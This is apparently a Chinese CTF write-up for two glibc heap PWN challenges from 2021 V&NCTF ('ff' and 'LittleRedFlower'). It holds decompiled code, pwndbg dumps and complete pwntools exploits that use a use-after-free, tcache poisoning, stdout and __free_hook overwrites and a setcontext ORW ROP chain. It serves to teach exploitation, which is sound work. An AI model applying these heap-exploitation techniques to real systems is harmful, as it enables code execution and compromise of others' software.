2021 V&NCTF 部分PWN WriteUP

021

 

ff

分析

首先ida查看一下该程序,程序一共提供了四种功能,分别是add,delete,show,edit四个函数,其中show函数只能够调用一次,edit函数只能调用两次。比较特殊的一个点就是该程序使用的GLIBC 2.32。我们首先来分析一下所有的函数,首先是add函数

__int64 add()
{
__int64 result; // rax
unsigned int i; // [rsp+8h] [rbp-18h]
unsigned int size; // [rsp+Ch] [rbp-14h]
void *size_4; // [rsp+10h] [rbp-10h]

puts("Size:");
size = myRead();
if ( size > 0x7E )
size = 0x7F;
size_4 = malloc(size);
for ( i = 0; i <= 0xF; ++i )
{
if ( !noteList[i] )
{
noteList[i] = size_4;
global_index = i;
break;
}
}
result = noteList[global_index];
if ( result )
{
puts("Content:");
read(0, size_4, size);
result = 0LL;
}
return result;
}

从这里可以看出,一共最多可以分配0x10个堆块,并且每个堆块的大小要<=0x90,将新申请的堆块的index赋给了global index。看一下delete函数。

void del()
{
free((void *)noteList[global_index]);
}

函数很简单,删除当前global index,并且这里没有清空列表中存储的堆块指针,也就是存在UAF。但是需要注意的是这里只能删除了global index指向的堆块。结合add函数来看,只能删除新申请的堆块,之前的旧的堆块无法进行删除。再来看一下show函数。

ssize_t show()
{
return write(1, (const void *)noteList[global_index], 8uLL);
}

也就是输出了当前global index指向堆块的前8字节。最后看一下edit函数

ssize_t edit()
{
puts("Content:");
return read(0, (void *)noteList[global_index], 0x10uLL);
}

这里也是对global index指向的堆块进行0x10字节大小的edit

利用

从上述的函数分析来看,这里的对于堆块的操作仅仅限于当前的堆块。程序中存在一个UAF

那么这里利用UAF我们仅仅可以泄漏出堆地址,并且这还是由于2.32特性的原因。其最主要的一个点就是进行了tcache->fd指针的加密。

#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

也就是进行了抑或加密。那么这里就和其他版本的tcache不一样了。我们看一下释放一个堆块之后的堆块内容。

pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555757310 (size : 0x20cf0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x80) tcache_entry[6](1): 0x5555557572a0 --> 0x555555757 (invaild memory)
pwndbg> x/20gx 0x5555557572a0
0x5555557572a0: 0x0000000555555757 0x0000555555757010
0x5555557572b0: 0x0000000000000000 0x0000000000000000
0x5555557572c0: 0x0000000000000000 0x0000000000000000
0x5555557572d0: 0x0000000000000000 0x0000000000000000
0x5555557572e0: 0x0000000000000000 0x0000000000000000
0x5555557572f0: 0x0000000000000000 0x0000000000000000
0x555555757300: 0x0000000000000000 0x0000000000000000
0x555555757310: 0x0000000000000000 0x0000000000020cf1
0x555555757320: 0x0000000000000000 0x0000000000000000
0x555555757330: 0x0000000000000000 0x0000000000000000
pwndbg>

也就是说如果我们此时调用show函数就可以泄漏出一个堆地址。那么得到这个堆地址之后就可以利用两次edit的机会构造double free,覆写fd指针,使得我们可以分配到pthread_tcache_struct结构体所在的堆块进而控制tcachecountentry指针,从而实现任意的地址分配。

但是现在还存在一个问题就是如何泄漏得到libc基地址,上面我们已经控制了tcache,那么就可以将0x290大小堆块对应的count设置为7,进而释放pthread_tcache_struct结构体,那么该结构体就会被释放到unsorted bin中,也就是存在了一个libc地址。

pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555757310 (size : 0x20cf0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x555555757000 (size : 0x290)
(0x30) tcache_entry[1](251): 0
(0x40) tcache_entry[2](255): 0
(0x70) tcache_entry[5](251): 0
(0x80) tcache_entry[6](255): 0x555555757 (invaild memory)
(0x290) tcache_entry[39](7): 0
pwndbg> x/20gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000291
0x555555757010: 0x00007ffff7fb9c00 0x00007ffff7fb9c00
0x555555757020: 0x0000000000000000 0x0000000000000000
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000000
0x555555757050: 0x0000000000000000 0x0007000000000000
0x555555757060: 0x0000000000000000 0x0000000000000000
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000000

那么在堆块中存在改地址之后就可以再次利用任意地址分配,覆写main_arena附近的地址使其指向stdout。这个过程中由于堆块的分配导致libc地址向高地址方向移动,最终我选择的是在0x60 tcache entry位置处存储main_arena附近的地址,将其覆写为stdout再申请0x60大小的堆块即可覆写stdout结构体,泄漏出libc地址。这里需要1/16的爆破。

泄漏到libc地址之后就好说了,再次利用任意地址分配分配到free_hook,覆写其为systemgetshell

EXP

# encoding=utf-8
from pwn import *

file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0xE23)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('node3.buuoj.cn', 26212)
libc = ELF('./libc.so.6')
one_gadget = 0x0


def add(size, content=b"1\n"):
p.sendlineafter(">>", "1")
p.sendlineafter("Size:\n", str(size))
p.sendafter("Content:\n", content)


def delete():
p.sendlineafter(">>", "2")


def show():
p.sendlineafter(">>", "3")


def edit(content):
p.sendlineafter(">>", "5")
p.sendafter("Content:\n", content)


stdout = 0xa6c0

while True:
try:
add(0x78)
delete()
show()
heap_base = u64(p.recv(8)) << 12
log.success("heap base is {}".format(hex(heap_base)))

edit(b"\x00"*0x10)
delete()
enc = ((heap_base + 0x2a0) >> 12) ^ (heap_base + 0x10)
edit(p64(enc) + p64(heap_base + 0x10))


add(0x78)
add(0x78, b"\x00"*0x48 + p64(0x0007000000000000))
gdb.attach(p, "b *$rebase(0xE23)")
delete()

# gdb.attach(p, "b *$rebase(0xE23)")

add(0x48, p16(0)*2 + p16(2) + p16(0) + p16(1) + p16(0) + p32(0) + b"\x00"*0x38)
add(0x48, b"\x00"*0x40 + p64(heap_base + 0xb0))
delete()

add(0x38, p16(stdout))
add(0x58, p64(0xfdad2887 | 0x1000) + p64(0)*3 + b"\x00")

libc.address = u64(p.recv(8)) - 0x84 - libc.sym['_IO_2_1_stdout_']
log.success("libc address is {}".format(hex(libc.address)))
break
except:
p.close()
p = remote('node3.buuoj.cn', 26212)

add(0x48, b"\x00"*0x40 + p64(libc.sym['__free_hook'] - 0x10))
add(0x38, b"/bin/sh\x00".ljust(0x10) + p64(libc.sym['system']))
delete()

p.interactive()

 

LittleRedFlower

分析

首先用ida看一下。程序在一开始给出了一个libc地址。接着提供了一个一字节的任意写和一个8字节的任意写,然后根据用户输入的size分配了对应大小的堆块,注意的是这里的堆块大小需要满足> 0x1000 & < 0x2000。读取用户的内容之后释放了此堆块。

程序开启了沙箱,只能采用ORW

root@134f60691926:~/work/2021VNCTF/LittleRedFlower# seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

利用

这里很明显是要覆写free__hook,但是如何覆写,或者说如何申请到该堆块。看一下tcache的分配过程

  DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->counts[tc_idx] > 0)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;

这里需要满足三个条件才可以进行tcache_get的调用,我们来看一下tcache_bins,该成员变量限制了可以放入tcache的堆块大小与global_max_fast类似。

pwndbg> p mp_
$1 = {
trim_threshold = 131072,
top_pad = 131072,
mmap_threshold = 131072,
arena_test = 8,
arena_max = 0,
n_mmaps = 0,
n_mmaps_max = 65536,
max_n_mmaps = 0,
no_dyn_threshold = 0,
mmapped_mem = 0,
max_mmapped_mem = 0,
sbrk_base = 0x555555757000 "",
tcache_bins = 64,
tcache_max_bytes = 1032,
tcache_count = 7,
tcache_unsorted_limit = 0
}
pwndbg> p &mp_
$2 = (struct malloc_par *) 0x7ffff7fbb280
pwndbg> x/20gx 0x7ffff7fbb280
0x7ffff7fbb280 : 0x0000000000020000 0x0000000000020000
0x7ffff7fbb290 : 0x0000000000020000 0x0000000000000008
0x7ffff7fbb2a0 : 0x0000000000000000 0x0001000000000000
0x7ffff7fbb2b0 : 0x0000000000000000 0x0000000000000000
0x7ffff7fbb2c0 : 0x0000000000000000 0x0000555555757000
0x7ffff7fbb2d0 : 0x0000000000000040 0x0000000000000408
0x7ffff7fbb2e0 : 0x0000000000000007 0x0000000000000000
0x7ffff7fbb2f0 : 0x0000000000000001 0x0000000001000000
0x7ffff7fbb300 <__x86_raw_shared_cache_size_half>: 0x0000000000800000 0x0000000001000000
0x7ffff7fbb310 <__x86_shared_cache_size_half>: 0x0000000000800000 0x0000000000008000

这里的tcache_bins默认是0x40,也就是tcache中堆块最大为0x410大小,如果我们将此成员变量改大,那么在之后我们分配>0x1000的堆块的时候就可以从tcache中进行分配了。

但是这里涉及到一个countentry的问题。首先来看count,由于之前没有堆块的释放,因此整个pthread_tcache_struct全部为0,只能看程序一开始的0x200堆块,因为该堆块全部被memset为了\x01,这里正好可以作为tcachecount

那么利用之后的8字节任意写在对应的位置写入free_hook的值就可以直接分配到free_hook了。这里我选择的大小为0x1510

到此可以覆写free_hook了,但是程序开启了沙箱,只能利用setcontext进行一下迁移栈地址了,我是将栈地址迁移到了free_hook附近,并在此处布置了orw rop。这里的详细内容可以看一下SROP。

EXP

# encoding=utf-8
from pwn import *

file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p, "b *$rebase(0xc60)\nb *$rebase(0xF2a)\n b malloc\nb free")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0xe6b93, 0xe6b96, 0xe6b99, 0x10af39]

else:
p = remote('node3.buuoj.cn', 29649)
libc = ELF('./libc.so.6')
one_gadget = [0xe6b93, 0xe6b96, 0xe6b99, 0x10af39]


p.recvuntil("GIFT: ")
libc.address = int(p.recvline().strip(), 16) - libc.sym['_IO_2_1_stdout_']
log.success("libc address is {}".format(hex(libc.address)))

mp_address = libc.sym['obstack_exit_failure'] - 0x70
p.sendafter("byte anywhere\n", p64(mp_address + 0x51))
p.sendafter("what?", "\x02")


p_rsi_r = 0x000000000002709c + libc.address
p_rdi_r = 0x0000000000026bb2 + libc.address
p_rdx_r12_r = 0x000000000011c3b1 + libc.address
p_rax_r = 0x0000000000028ff4 + libc.address
syscall = 0x0000000000066199 + libc.address
leave_r = 0x000000000005a9a8 + libc.address
ret = 0x00000000000bffbb + libc.address

flag_str_address = libc.sym['__free_hook'] + 0x28
flag_address = libc.sym['__free_hook'] + 0x30
setcontext = libc.sym['setcontext'] + 61
frame_address = libc.sym['__free_hook']
orw_address = libc.sym['__free_hook'] + 0xb0
magic_gadget = 0x0000000000154b20 + libc.address

orw = flat([
p_rdi_r, flag_str_address,
p_rsi_r, 0,
p_rax_r, 2,
syscall,
p_rdi_r, 3,
p_rsi_r, flag_address,
p_rdx_r12_r, 0x30, 0,
p_rax_r, 0,
syscall,
p_rdi_r, 1,
p_rsi_r, flag_address,
p_rdx_r12_r, 0x30, 0,
p_rax_r, 1,
syscall
])

log.success("mp_ address is {}".format(hex(mp_address)))
p.sendlineafter("Offset:\n", str(0x868))
p.sendafter("Content:\n", p64(libc.sym['__free_hook']))

p.sendlineafter("size:\n", str(0x1500))

payload = p64(magic_gadget) + p64(frame_address)
payload += p64(0)*2 + p64(setcontext) + b"flag\x00".ljust(8, b"\x00")
payload += b"\x00"*0x70 + p64(orw_address) + p64(ret)
payload += orw

p.sendlineafter(">>", payload)

p.interactive()


版权归原作者所有,如若转载,请注明出处:https://www.ciocso.com/article/557.html

发表评论

登录后才能评论